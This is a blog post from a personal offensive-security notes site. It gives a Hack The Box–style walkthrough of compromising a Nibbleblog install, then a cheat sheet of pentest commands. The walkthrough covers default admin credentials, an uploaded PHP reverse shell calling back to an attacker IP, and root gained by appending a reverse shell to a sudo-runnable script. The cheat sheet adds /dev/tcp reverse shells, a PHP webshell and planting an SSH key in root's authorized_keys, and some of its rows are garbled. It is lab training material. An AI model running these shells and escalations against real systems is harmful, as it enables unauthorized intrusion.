boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

File Upload Escalation

A full chain against a Nibbleblog install: directory brute force, default admin login, a PHP reverse shell through the image plugin, a TTY upgrade, and a root shell via a writable sudo script. The reference tables at the end cover the general HTB toolkit.

Foothold

Brute force directories under the web root:

gobuster dir -u http://10.129.162.5/nibbleblog/ -w /media/jake/Media/Ethical\ Hacking/Hacking\ Tools/gobuster/Wordlists/common.txt

Log in to http://10.129.162.5/nibbleblog/admin.php with admin:nibbles.

Make a PHP reverse shell:

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.216 9443 >/tmp/f"); ?>

Upload the shell through the My image plugin config at http://10.129.162.5/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image

Start a listener:

nc -lvnp 9443   # listens for shell activation

Trigger the uploaded shell:

curl http://10.129.42.249/nibbleblog/..../image.php   # activates reverse shell

Upgrade to a proper TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'   # deploys python shell (for sudo su)

Privilege Escalation

Serve files from the attack box:

sudo python3 -m http.server 8080   # creates python server

Pull LinEnum down onto the victim:

wget http://10.10.14.216:8080/LinEnum.sh on victim server   # uploads root shell

Append a root shell to the sudo-runnable script:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.216 8443 >/tmp/f' | tee -a monitor.sh   # on victim server, writes root shell escalation

Start a listener for the root shell:

nc -lvnp 8443   # listens for root shell activation

Run the script with sudo: sudo /home/nibbler/personal/stuff/monitor.sh

activates root shell (from victim server)

Basic Tools

CommandDescription
General
sudo openvpn user.ovpnConnect to VPN
ifconfig/ip aShow our IP address
netstat -rnShow networks accessible via the VPN
ssh user@10.10.10.10SSH to a remote server
ftp 10.129.42.253FTP to a remote server
tmux
tmuxStart tmux
ctrl+btmux: default prefix
prefix ctmux: new window
prefix 1tmux: switch to window (1)
prefix shift+%tmux: split pane vertically
prefix shift+"tmux: split pane horizontally
prefix ->tmux: switch to the right pane
Vim
vim filevim: open file with vim
esc+ivim: enter insert mode
escvim: back to normal mode
xvim: Cut character
dwvim: Cut word
ddvim: Cut full line
ywvim: Copy word
yyvim: Copy full line
pvim: Paste
:1vim: Go to line number 1.
:wvim: Write the file 'i.e. save'
:qvim: Quit
:q!vim: Quit without saving
:wqvim: Write and quit

Pentesting

CommandDescription
Service Scanning
nmap 10.129.42.253Run nmap on an IP
nmap -sV -sC -p- 10.129.42.253Run an nmap script scan on an IP
locate scripts/citrixList various available nmap scripts
nmap --script smb-os-discovery.nse -p445 10.10.10.40Run an nmap script on an IP
netcat 10.10.10.10 22Grab banner of an open port
smbclient -N -L \\\\\10.129.42.253List SMB Shares
smbclient \\\\\10.129.42.253\\\usersConnect to an SMB share
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0Scan SNMP on an IP
onesixtyone -c dict.txt 10.129.42.254Brute force SNMP secret string
Web Enumeration
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txtRun a directory scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txtRun a sub-domain scan on a website
curl -IL [https://www.inlanefreight.com](https://www.inlanefreight.com%60)Grab website banner
whatweb 10.10.10.121List details about the webserver/certificates
curl 10.10.10.121/robots.txtList potential directories in robots.txt
ctrl+UView page source (in Firefox)
Public Exploits
searchsploit openssh 7.2Search for public exploits for a web application
msfconsoleMSF: Start the Metasploit Framework
search exploit eternalblueMSF: Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexecMSF: Start using an MSF module
show optionsMSF: Show required options for an MSF module
set RHOSTS 10.10.10.40MSF: Set a value for an MSF module option
checkMSF: Test if the target server is vulnerable
exploitMSF: Run the exploit on the target server is vulnerable
Using Shells
nc -lvnp 1234Start a nc listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'Send a reverse shell from the remote server
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\/bin/sh -i 2>&1\
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\/bin/bash -i 2>&1\
nc 10.10.10.1 1234Connect to a bind shell started on the remote server
python -c 'import pty; pty.spawn("/bin/bash")'Upgrade shell TTY (1)
ctrl+z then stty raw -echo then fg then enter twiceUpgrade shell TTY (2)
echo "&lt;?php system(\\$_GET\['cmd'\]);?&gt;" > /var/www/html/shell.phpCreate a webshell php file
curl http://SERVER_IP:PORT/shell.php?cmd=idExecute a command on an uploaded webshell
Privilege Escalation
./linpeas.shRun linpeas script to enumerate remote server
sudo -lList available sudo privileges
sudo -u user /bin/echo Hello World!Run a command with sudo
sudo su -Switch to root user (if we have access to sudo su)
sudo su user -Switch to a user (if we have access to sudo su)
ssh-keygen -f keyCreate a new SSH key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keysAdd the generated public key to the user
ssh root@10.10.10.10 -i keySSH to the server with the generated private key
Transferring Files
python3 -m http.server 8000Start a local webserver
wget [http://10.10.14.1:8000/linpeas.sh](http://10.10.14.1:8000/linpeas.sh%60)Download a file on the remote server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.shDownload a file on the remote server from our local machine
scp linenum.sh user@remotehost:/tmp/linenum.shTransfer a file to the remote server with scp (requires SSH access)
base64 shell -w 0Convert a file to base64
`echo f0VMR...SNIO...InmDwU \base64 -d > shell`
md5sum shellCheck the file's md5sum to ensure it converted correctly